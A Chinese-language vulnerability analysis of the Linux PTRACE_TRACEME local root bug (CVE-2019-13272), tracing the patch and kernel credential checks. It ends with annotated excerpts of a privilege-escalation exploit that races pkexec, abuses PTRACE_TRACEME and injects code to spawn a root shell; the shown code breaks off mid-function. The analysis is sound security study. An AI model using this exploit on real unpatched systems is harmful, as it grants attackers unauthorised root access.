---
title: PTRACE_TRACEME 本地提权漏洞解析
subtitle: CVE-2019-13272 漏洞原理与利用
author: Gengjia Chen (chengjia4574@gmail.com)
data: 2019-11-25
---

# PTRACE_TRACEME 本地提权漏洞

author: Gengjia Chen (chengjia4574@gmail.com) of IceSword Lab, qihoo 360

[PTRACE_TRACEME 漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=1903) 是 Jann Horn 201907 月发现的内核提权漏洞, 漏洞发现和利用的思路有很多值得学习的地方, 本文记录了个人的学习过程


## 漏洞补丁

我们从漏洞补丁 [ptrace: Fix ->ptracer_cred handling for PTRACE_TRACEME](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6994eefb0053799d2e07cd140df6c2ea106c41ee) 入手分析

```bash
Fix two issues:

// 第一个问题，是 cred 的 rcu reference 问题
When called for PTRACE_TRACEME, ptrace_link() would obtain an RCU   
reference to the parent's objective credentials, then give that pointer
to get_cred().  However, the object lifetime rules for things like
struct cred do not permit unconditionally turning an RCU reference into
a stable reference.

// 第二个问题，tracee 记录的 tracer 的 cred 的问题
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.


Fix both of these by always recording the credentials of the process
that is requesting the creation of the ptrace relationship:
current_cred() can't change under us, and current is the proper subject
for access control.
```

以上是补丁的描述，以下是补丁的代码

```c
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
  */
 static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
 {
-	rcu_read_lock();
-	__ptrace_link(child, new_parent, __task_cred(new_parent));
-	rcu_read_unlock();
+	__ptrace_link(child, new_parent, current_cred());
 }
```

从补丁的描述来看，一共修复了 2 个问题

- 1 是 rcu reference 的问题，对应的代码是删除了 rcu 锁; 
- 2 是 tracee 记录 tracer 进程的 cred 引发的问题

本文不关心第一个问题，只分析可以用于本地提权的第二个问题

从补丁描述看第二个问题比较复杂，我们后面再分析，补丁对应的代码倒是非常简单， 
将 '__task_cred(new_parent)' 换成了 'current_cred()', 也就是说记录的 cred 从 tracer 进程的 cred 换成了当前进程的 cred


## 漏洞分析

[ptrace](http://man7.org/linux/man-pages/man2/ptrace.2.html) 是一个系统调用，它提供了一种方法来让进程 (tracer) 可以观察和控制其它进程 (tracee) 的执行，检查和改变其核心映像以及寄存器, 主要用来实现断点调试和系统调用跟踪

```c
   1    396  kernel/ptrace.c <<ptrace_attach>>
             ptrace_link(task, current);  // link 的双方分别是要 trace 的目标进程 'task' 
					  //  和发动 trace 的当前进程 'current'
   2    469  kernel/ptrace.c <<ptrace_traceme>>
             ptrace_link(current, current->real_parent);  // link 的双方分别是发动 trace 的
							  // 当前进程 ‘current’ 和当前进程的
							  // 父进程 ' current->real_parent'
```

trace 关系的建立有 2 种方式

 - 1 是进程调用 fork 函数然后子进程主动调用 PTRACE_TRACEME, 这是由 tracee 发起的, 对应内核函数 ptrace_traceme
 - 2 是进程调用 PTRACE_ATTACH 或者 PTRACE_SEIZE 去主动 trace 其他进程, 这是由 tracer 发起的, 对应内核函数 ptrace_attach

不管是哪种方式，最后都会调用 ptrace_link 函数去建立 tracer 和 tracee 之间的 trace 关系

 - ptrace_attach 关联的双方是 'task' (tracee) 和 'current' (tracer) 
 - ptrace_traceme 关联的双方是 'current' (tracee) 和 'current->real_parent' (tracer)

这里我们要仔细记住上面 2 种模式下 tracer 和 tracee 分别是什么，因为这就是漏洞的关键

```c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. 将自己加入父进程的 ptraced 队列
        child->parent = new_parent; // 2. 将父进程地址保存在 parent 指针
        child->ptracer_cred = get_cred(ptracer_cred); // 3. 保存 ptracer_cred, 我们只关注这个变量
}
```

建立 trace 关系的关键是由 tracee 记录 tracer 的 cred, 保存在 tracee 的 'ptracer_cred' 变量，这个变量名很顾名思义

ptracer_cred 这个概念是由 2016 年的一个补丁 [ptrace: Capture the ptracer's creds not PT_PTRACE_CAP](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=64b875f7ac8a5d60a4e191479299e931ee949b67) 引入的, 引入 ptracer_cred 的目的是用于当 tracee 执行 exec 去加载 [setuid executable](https://www.computerhope.com/jargon/s/setuid.htm) 时做安全检测

为什么需要这个安全检测呢?

[exec](http://man7.org/linux/man-pages/man3/exec.3.html) 函数族可以更新进程的镜像, 如果被执行文件的 [setuid 位](https://en.wikipedia.org/wiki/Setuid) 置位，则运行这个可执行文件时，进程的 [euid](https://en.wikipedia.org/wiki/User_identifier) 会被修改成该可执行文件的所有者的 uid, 如果可执行文件的所有者权限比调用 exec 的进程高, 运行这类 [setuid executable](https://www.computerhope.com/jargon/s/setuid.htm) 会有提权的效果

假如执行 exec 的进程本身是一个 tracee, 当它执行了 [setuid executable](https://www.computerhope.com/jargon/s/setuid.htm) 提权之后，由于 tracer 可以随时修改 tracee 的寄存器和内存，这时候低权限的 tracer 就可以控制 tracee 去执行越权操作

作为内核，显然是不允许这样的越权行为存在的，所以当 trace 关系建立时, tracee 需要保存 tracer 的 cred (即 ptracer_cred), 然后在执行 exec 过程中, 如果发现执行的可执行程序是 [setuid 位](https://en.wikipedia.org/wiki/Setuid) 置位的， 则会判断 'ptracer_cred' 的权限， 如果权限不满足，将不会执行  [setuid 位](https://en.wikipedia.org/wiki/Setuid) 的提权， 而是以原有的进程权限执行这个  [setuid executable](https://www.computerhope.com/jargon/s/setuid.htm) 


这个过程的代码分析如下(本文的代码分析基于 v4.19-rc8)


```c
do_execve
  -> __do_execve_file
  -> prepare_binprm 
      -> bprm_fill_uid
      -> security_bprm_set_creds
          ->cap_bprm_set_creds
  	    -> ptracer_capable
          ->selinux_bprm_set_creds
          ->(apparmor_bprm_set_creds)
          ->(smack_bprm_set_creds)
          ->(tomoyo_bprm_set_creds)
```

如上，execve 权限相关的操作主要在函数 ‘prepare_binprm’ 里

```c
    1567 int prepare_binprm(struct linux_binprm *bprm)
    1568 {
    1569         int retval;
    1570         loff_t pos = 0;
    1571 
    1572         bprm_fill_uid(bprm); // <-- 初步填充新进程的 cred
    1573 
    1574         /* fill in binprm security blob */
    1575         retval = security_bprm_set_creds(bprm); // <-- 安全检测， 	
							 // 可能会修改新进程的 cred
    1576         if (retval)
    1577                 return retval;
    1578         bprm->called_set_creds = 1;
    1579 
    1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
    1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
    1582 }
```

如上，先调用 'bprm_fill_uid' 初步填充新进程的 cred, 再调用 'security_bprm_set_creds' 做安全检测并修改新的 cred

```c
    1509 static void bprm_fill_uid(struct linux_binprm *bprm)
    1510 {
    1511         struct inode *inode;
    1512         unsigned int mode;
    1513         kuid_t uid;
    1514         kgid_t gid;
    1515 
    1516         /*
    1517          * Since this can be called multiple times (via prepare_binprm),
    1518          * we must clear any previous work done when setting set[ug]id
    1519          * bits from any earlier bprm->file uses (for example when run
    1520          * first for a setuid script then again for its interpreter).
    1521          */
    1522         bprm->cred->euid = current_euid(); // <--- 先使用本进程的euid
    1523         bprm->cred->egid = current_egid();
    1524 
    1525         if (!mnt_may_suid(bprm->file->f_path.mnt))
    1526                 return;
    1527 
    1528         if (task_no_new_privs(current))
    1529                 return;
    1530 
    1531         inode = bprm->file->f_path.dentry->d_inode;
    1532         mode = READ_ONCE(inode->i_mode);
    1533         if (!(mode & (S_ISUID|S_ISGID))) // <---------- 如果可执行文件没有 setuid/setgid 位，这里就可以返回了
    1534                 return;
    1535 
    1536         /* Be careful if suid/sgid is set */
    1537         inode_lock(inode);
    1538 
    1539         /* reload atomically mode/uid/gid now that lock held */
    1540         mode = inode->i_mode;
    1541         uid = inode->i_uid; // <---- 如果文件 S_ISUID 置位，使用文件的 i_uid
    1542         gid = inode->i_gid;
    1543         inode_unlock(inode);
    1544 
    1545         /* We ignore suid/sgid if there are no mappings for them in the ns */
    1546         if (!kuid_has_mapping(bprm->cred->user_ns, uid) ||
    1547                  !kgid_has_mapping(bprm->cred->user_ns, gid))
    1548                 return;
    1549 
    1550         if (mode & S_ISUID) {
    1551                 bprm->per_clear |= PER_CLEAR_ON_SETID;
    1552                 bprm->cred->euid = uid; // <------ 使用文件的 i_uid 作为新进程的 euid
    1553         }
    1554 
    1555         if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
    1556                 bprm->per_clear |= PER_CLEAR_ON_SETID;
    1557                 bprm->cred->egid = gid;
    1558         }
    1559 }

```

如上， 主要看两行

- 1522 行, 将当前的 euid 赋值新的 euid, 所以大部分执行了 execve 的进程的权限跟原来的一样
- 1552 行，如果带有 suid bit, 则将可执行文件的所有者的 uid 赋值新的 euid, 这就是所谓 setuid 的实现， 新的 euid 变成了它执行的可执行文件所有者的 uid， 如果所有者是特权用户， 这里就实现了提权

但是，这里的 euid 依然不是最终的结果， 还需要进入函数 security_bprm_set_creds 做进一步的安全检测

security_bprm_set_creds 函数调用的是 [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules) 框架

在我分析的内核版本上, 实现 'bprm_set_creds' 这个 hook 点安全检测的 lsm 框架有 5 种, 检测函数如下, 

- cap_bprm_set_creds
- selinux_bprm_set_creds
- apparmor_bprm_set_creds
- smack_bprm_set_creds
- tomoyo_bprm_set_creds

这里哪些 hook 检测函数会被执行，其实是跟具体的内核配置有关的, 理论上把所有 lsm 框架都启用的话，上述所有这些实现了 'bprm_set_creds' hook 检测的函数都会被执行 

在我的分析环境里实际运行的检测函数只有 cap_bprm_set_creds 和 selinux_bprm_set_creds 这俩

其中， 对 euid 有影响的是 'cap_bprm_set_creds' 这个函数


```c
    815 int cap_bprm_set_creds(struct linux_binprm *bprm)
    816 {
    817         const struct cred *old = current_cred();
    818         struct cred *new = bprm->cred;
    819         bool effective = false, has_fcap = false, is_setid;
    820         int ret;
    821         kuid_t root_uid;
    ===================== skip ======================
    838         /* Don't let someone trace a set[ug]id/setpcap binary with the revised
    839          * credentials unless they have the appropriate permit.
    840          *
    841          * In addition, if NO_NEW_PRIVS, then ensure we get no new privs.
    842          */
    843         is_setid = __is_setuid(new, old) || __is_setgid(new, old);  
    844 
    845         if ((is_setid || __cap_gained(permitted, new, old)) && // <---- 检测是否执行的是 setid 程序
    846             ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || 
    847              !ptracer_capable(current, new->user_ns))) { // <----- 如果执行execve的进程被trace了，且执行的程序是 setuid 的，需要增加权限检测
    848                 /* downgrade; they get no more than they had, and maybe less */
    849                 if (!ns_capable(new->user_ns, CAP_SETUID) ||
    850                     (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
    851                         new->euid = new->uid; // <----- 如果检测不通过，会将新进程的 euid 重新设置为原进程的 uid
    852                         new->egid = new->gid;
    853                 }
    854                 new->cap_permitted = cap_intersect(new->cap_permitted,
    855                                                    old->cap_permitted);
    856         }
    857 
    858         new->suid = new->fsuid = new->euid;
    859         new->sgid = new->fsgid = new->egid;
    ===================== skip ======================
}
```

如上

- 行 845, 检测 euid 是否跟原有的 uid 不一致 (在函数 bprm_fill_uid 分析里我们知道，如果执行的文件是 setuid bit 的， euid 就会不一致)
	  所以这里等同于检测执行的可执行程序是不是 setid 程序
- 行 847, 检测本进程是否是 tracee 

如果两个条件同时满足，需要执行 ptracer_capable 函数进行权限检测，假设检测不通过， 会执行 downgrade 降权

- 行 851, 将 new->euid 的值重新变成 new->uid， 就是说在函数 bprm_fill_uid 里提的权在这里可能又被降回去

```c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred); // <----- 取出 ptrace_link 时保存的 ptracer_cred 
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-------- 进入 lsm 框架进行安全检测
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
```

如上， 

- 行 504, 取出 'tsk->ptracer_cred' 
- 行 506, 进入 lsm 框架对 ‘tsk->ptracer_cred’ 进行检测

到了这里， 这个漏洞涉及到的变量 ‘tsk->ptracer_cred’ 终于出现了， 如前所述，这个变量是建立 trace 关系时， tracee 保存的 tracer 的 cred

当 tracee 随后执行 execve 去执行 suid 可执行程序时，就会调用 ptracer_capable 这个函数， 通过 lsm 里的安全框架去判断 ‘ptracer_cred’ 的权限

lsm 框架里的 capable hook 检测我们这里不分析了， 简单来说， 如果 tracer 本身是 root 权限， 则这里的检测会通过， 如果不是， 就会返回失败

根据前面的分析，如果  ptracer_capable 检测失败， new->euid 的权限会被降回去

举个例子， A ptrace B , B execve 执行 '/usr/bin/passwd', 根据上面代码的分析， 如果 A 是 root 权限， 则 B 执行 passwd 时的 euid 是 root, 否则就还是原有的权限


```c
kernel/ptrace.c <<ptrace_traceme>>
             ptrace_link(current, current->real_parent);  

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}
```

回到漏洞代码, 为什么 traceme 在建立 trace link 时记录 parent 的 cred 是不对的呢?  明明这时候 parent 就是 tracer 啊?

我们用 Jann Horn 举的例子来说明为什么 traceme 这种方式建立 trace link 时不能使用 tracer 的 cred

```bash
 - 1, task A: fork()s a child, task B
 - 2, task B: fork()s a child, task C
 - 3, task B: execve(/some/special/suid/binary)
 - 4, task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - 5, task C: execve(/usr/bin/passwd)
 - 6, task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - 7, task B: become dumpable again (e.g. execve(/some/other/binary))
 - 8, task A: PTRACE_ATTACH to task B
 - 9, task A: use ptrace to take control of task B
 - 10, task B: use ptrace to take control of task C
```

如上场景有 3 个进程 A, B, C

- 第 4 步， task C 使用 PTRACE_TRACE 建立跟 B 的 trace link 时， 由于 B 此时是 euid = 0 (因为它刚刚执行了 suid binary), 所以 C 记录的 ptracer_cred 的 euid 也是 0 
- 第 5 步， task C 随后执行 execve(suid binary), 根据我们上面的分析，由于 C 的 ptracer_cred 是特权的， 所以 ptracer_capable 函数检测通过，所以执行完 execve 后， task C 的 euid 也提权成 0 , 注意此时 B 和 C 的 trace link 还是有效的
- 第 6 步， task B 执行 setresuid 将自己降权， 这个降权的目的是为了能让 task A attach
- 第 8 步， task A 使用 PTRACE_ATTACH 建立跟 B 的 trace link, A 和 B 都是普通权限, 之后 A 可以控制 B 执行任何操作
- 第 9 步， task B 控制 task C 执行提权操作

前面 8 步，依据之前的代码分析都是成立的，那么第 9 步能不能成立呢?

执行第 9 步时， task B 本身是普通权限， task C 的 euid 是 root 权限， B 和 C 的 trace link 有效, 这种条件下 B 能不能发送 ptrace request 让 C 执行各种操作，包括提权操作? 

下面我们结合代码分析这个问题

```c

    1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
    1112                 unsigned long, data)
    1113 {
    1114         struct task_struct *child;
    1115         long ret;
    1116 
    1117         if (request == PTRACE_TRACEME) {
    1118                 ret = ptrace_traceme(); // <----- 进入 traceme 分支
    1119                 if (!ret)
    1120                         arch_ptrace_attach(current);
    1121                 goto out;
    1122         }
    1123 
    1124         child = find_get_task_by_vpid(pid);
    1125         if (!child) {
    1126                 ret = -ESRCH;
    1127                 goto out;
    1128         }
    1129 
    1130         if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) {
    1131                 ret = ptrace_attach(child, request, addr, data); // <------ 进入 attach 分支
    1132                 /*
    1133                  * Some architectures need to do book-keeping after
    1134                  * a ptrace attach.
    1135                  */
    1136                 if (!ret)
    1137                         arch_ptrace_attach(child);
    1138                 goto out_put_task_struct;
    1139         }
    1140 
    1141         ret = ptrace_check_attach(child, request == PTRACE_KILL ||
    1142                                   request == PTRACE_INTERRUPT);
    1143         if (ret < 0)
    1144                 goto out_put_task_struct;
    1145 
    1146         ret = arch_ptrace(child, request, addr, data); // <---- 其他 ptrace request 
    1147         if (ret || request != PTRACE_DETACH)
    1148                 ptrace_unfreeze_traced(child);
    1149 
    1150  out_put_task_struct:
    1151         put_task_struct(child);
    1152  out:
    1153         return ret;
    1154 }

```

如上， 由于 task B 和 task C 此时已经存在 trace link， 所以通过 B 向 C 可以直接发送 ptrace request， 将进入函数 arch_ptrace

```c
arch/x86/kernel/ptrace.c

arch_ptrace 
	-> ptrace_request 
		-> generic_ptrace_peekdata
		   generic_ptrace_pokedata 
			-> ptrace_access_vm 
				-> ptracer_capable 

 kernel/ptrace.c
 884 int ptrace_request(struct task_struct *child, long request,
 885                    unsigned long addr, unsigned long data)
 886 {
 887         bool seized = child->ptrace & PT_SEIZED;
 888         int ret = -EIO;
 889         siginfo_t siginfo, *si;
 890         void __user *datavp = (void __user *) data;
 891         unsigned long __user *datalp = datavp;
 892         unsigned long flags;
 893 
 894         switch (request) {
 895         case PTRACE_PEEKTEXT:
 896         case PTRACE_PEEKDATA:
 897                 return generic_ptrace_peekdata(child, addr, data);
 898         case PTRACE_POKETEXT:
 899         case PTRACE_POKEDATA:
 900                 return generic_ptrace_pokedata(child, addr, data);
 901 
 =================== skip ================
 1105 }


 1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
 1157                             unsigned long data)
 1158 {
 1159         unsigned long tmp;
 1160         int copied;
 1161 
 1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- 调用 ptrace_access_vm
 1163         if (copied != sizeof(tmp))
 1164                 return -EIO;
 1165         return put_user(tmp, (unsigned long __user *)data);
 1166 }
 1167 
 1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
 1169                             unsigned long data)
 1170 {
 1171         int copied;
 1172 
 1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- 调用 ptrace_access_vm
 1174                         FOLL_FORCE | FOLL_WRITE);
 1175         return (copied == sizeof(data)) ? 0 : -EIO;
 1176 }


```

如上，当 tracer 想要控制 tracee 执行新的代码逻辑时，需要发送 request 读写 tracee 的代码区和内存区， 对应的 request 是 PTRACE_PEEKTEXT / PTRACE_PEEKDATA / PTRACE_POKETEXT / PTRACE_POKEDATA 

这几种读写操作最终都是通过函数 ptrace_access_vm 实现的

```c
    kernel/ptrace.c
    38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
    39                      void *buf, int len, unsigned int gup_flags)
    40 {
    41         struct mm_struct *mm;
    42         int ret;
    43 
    44         mm = get_task_mm(tsk);
    45         if (!mm)
    46                 return 0;
    47 
    48         if (!tsk->ptrace ||
    49             (current != tsk->parent) ||
    50             ((get_dumpable(mm) != SUID_DUMP_USER) &&
    51              !ptracer_capable(tsk, mm->user_ns))) { // < ----- 又是调用 ptracer_capable 函数
    52                 mmput(mm);
    53                 return 0;
    54         }
    55 
    56         ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);
    57         mmput(mm);
    58 
    59         return ret;
    60 }

    kernel/capability.c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred);
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE);
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
```

如上， ptrace_access_vm 函数会调用我们之前分析到的 'ptracer_capable' 来决定这个 request 是否可以进行, 这是 'ptracer_capable' 函数的第二种使用场景

根据之前我们分析的结果， task C 此时保存的 ptracer_cred 是特权 cred, 所以这时候 ptracer_capable 会通过， 也就是说我们回答了刚刚的问题， 这种情况下，普通权限的 task B 是可以发送 ptrace request 去读写 root 权限的 task C 的内存区和代码区的

至此，task C 记录的这个特权 ptracer_cred 实际上发挥了 2 种作用

- 1，可以让 task C 执行 execve(suid binary) 给自己提权
- 2，可以让普通权限的 task B 执行 ptrace 读写 task C 的代码区和内存区，从而控制 task C 执行任意操作

上面 2 点合起来，不就是完整的提权操作吗?

## 小结

我们仔细回顾上述代码分析过程， 才终于明白补丁描述写的这段话

```bash
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.
```

本质上这个漏洞有点像 [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) 类漏洞, ptracer_cred 的获取是在 traceme 阶段,  而 ptracer_cred 的应用是在随后的各种 request 阶段， 而在随后的 ptrace request 的时候， tracer 的 cred 可能已经不是一开始建立 trace link 时的那个 cred 了

```c
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
  */
 static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
 {
-	rcu_read_lock();
-	__ptrace_link(child, new_parent, __task_cred(new_parent));
-	rcu_read_unlock();
+	__ptrace_link(child, new_parent, current_cred());
 }
```

我们再次看看 jann horn 的补丁:   '__task_cred(new_parent)' -> 'current_cred()'  

补丁的意思是说在 PTRACE_TRACEME 这种场景下， ptracer_cred 记录的不应该是父进程的 cred， 而应该是自己的 cred

所以我觉得从这个变量的用途来说，它其实记录的不是 tracer 的 cred, 而是 'trace link creater' 的 cred

我建议 jann horn 将这个变量名改成 ptracelinkcreater_cred, 当 trace link 由 PTRACE_ATTACH 建立时， 它等于 tracer 的 cred, 当 trace link 由 PTRACE_TRACEME 建立时， 它等于 tracee 的 cred, 它实际上记录的是 trace 关系建立者的权限 !


## exploit 

本漏洞利用的关键是找到合适的可执行程序启动 task B, 这个可执行程序要满足如下条件:

- 1, 必须是能被普通权限用户调用
- 2, 执行时必须有提权到root的阶段
- 3, 执行提权后必须执行降权

(短暂提权到 root 的目的是让 task C 可以获取 root 的 ptracer_cred, 再降权的目的是让 B 能被普通权限的进程 ptrace attach)

这里我列出 3 份 exploit 代码:

- 1 [jann horn 的 exploit](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217) 
- 2 [bcoles 的 exploit](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c) 
- 3 [jiayy 的 exploit](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)

[jann horn 的 exploit](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217) 里使用桌面发行版自带的 [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) 程序用于启动 task B

[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) 允许特权用户以其他用户权限执行另外一个可执行程序， 用于 [polkit](https://wiki.archlinux.org/index.php/Polkit) 认证框架, 当使用 --user 参数时， 刚好可以让进程先提权到  root 然后再降权到指定用户，因此可以用于构建进程 B, 此外需要找到通过 polkit 框架执行的可执行程序(jann horn 把他们成为 helper)， 这些 helper 程序需要满足普通用户用 pkexec 执行它们时不需要认证（很多通过 polkit 执行的程序都需要弹窗认证）, 执行的模式如下:

- /usr/bin/pkexec --user nonrootuser /user/sbin/some-helper-binary

[bcoles 的 exploit](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c) 在 jann horn 的基础上增加了寻找更多 helper binary 的代码， 因为 jann horn 的 helper 是一个写死的程序， 在很多发行版并不存在，所以他的 exploit 在很多发行版系统上无法运行， bcoles 的 exploit 可以在更多的发行版上运行成功

本人出于学习的目的，也写了一份 [jiayy 的 exploit](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272), 因为 helper binary 因不同发行版而异， pkexec 也是桌面发行版才有， 而事实上这个提权漏洞是 linux kernel 的漏洞， 所以我把 jann horn 的 exploit 改成了使用一个 fakepkexec 程序来提权， 而这个 fakepkexec 和 fakehelper 程序手动生成（而不是从目标系统搜索），这样一来学习者可以在任何存在本漏洞的 linux 系统（不需要桌面）运行我的 exploit 进行研究

## exploit 分析

下面简单过一下 exploit 的代码

```c

167 int main(int argc, char **argv) {
168   if (strcmp(argv[0], "stage2") == 0)
169     return middle_stage2();
170   if (strcmp(argv[0], "stage3") == 0)
171     return spawn_shell();
172 
173   helper_path = "/tmp/fakehelper";
174 
175   /*
176    * set up a pipe such that the next write to it will block: packet mode,
177    * limited to one packet
178    */
179   SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
180   SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
181   char dummy = 0;
182   SAFE(write(block_pipe[1], &dummy, 1));
183 
184   /* spawn pkexec in a child, and continue here once our child is in execve() */
185   static char middle_stack[1024*1024];
186   pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
187                             CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
188   if (!middle_success) return 1;
189 
======================= skip =======================
215 }

```

先看行 186, 调用 clone 生成子进程（也就是 task B）, task B 运行 middle_main 

```c
 64 static int middle_main(void *dummy) {
 65   prctl(PR_SET_PDEATHSIG, SIGKILL);
 66   pid_t middle = getpid();
 67 
 68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
 69 
 70   pid_t child = SAFE(fork());
 71   if (child == 0) {
 72     prctl(PR_SET_PDEATHSIG, SIGKILL);
 73 
 74     SAFE(dup2(self_fd, 42));
 75 
 76     /* spin until our parent becomes privileged (have to be fast here) */
 77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
 78     char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
 79     while (1) {
 80       char buf[1000];
 81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
 82       buf[buflen] = '\0';
 83       if (strstr(buf, needle)) break;
 84     }
 85 
 86     /*
 87      * this is where the bug is triggered.
 88      * while our parent is in the middle of pkexec, we force it to become our
 89      * tracer, with pkexec's creds as ptracer_cred.
 90      */
 91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
 92 
 93     /*
 94      * now we execute passwd. because the ptrace relationship is considered to
 95      * be privileged, this is a proper suid execution despite the attached
 96      * tracer, not a degraded one.
 97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
 98      */
 99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

```

行 70, 调用 fork 生成孙进程（也就是 task C）

然后行 111, task B 运行 fakepkexec 让自己提权再降权

然后看行 76 ~ 84, task C 检测到 task B 的 euid 变成 0 之后， 会执行行 91 进行 PTRACE_TRACEME 操作获取 root 的 ptracer_cred, 然后紧接着 task C 马上运行 execl 执行一个  suid binary 让自己的 euid 变成 0

```c

190   /*
191    * wait for our child to go through both execve() calls (first pkexec, then
192    * the executable permitted by polkit policy).
193    */
194   while (1) {
195     int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
196     char buf[16];
197     int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
198     buf[buflen] = '\0';
199     *strchrnul(buf, '\n') = '\0';
200     if (strncmp(buf, basename(helper_path), 15) == 0)
201       break;
202     usleep(100000);
203   }
204 
205   /*
206    * our child should have gone through both the privileged execve() and the
207    * following execve() here
208    */
209   SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
210   SAFE(waitpid(midpid, &dummy_status, 0));
211   fputs("attached to midpid\n", stderr);
212 
213   force_exec_and_wait(midpid, 0, "stage2");
214   return 0;

```

接下去回到 task A 的 main 函数， 行 194 ~ 202, task A 检测到 task B 的 binary comm 变成 helper 之后，
运行行 213 执行 force_exec_and_wait

```c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
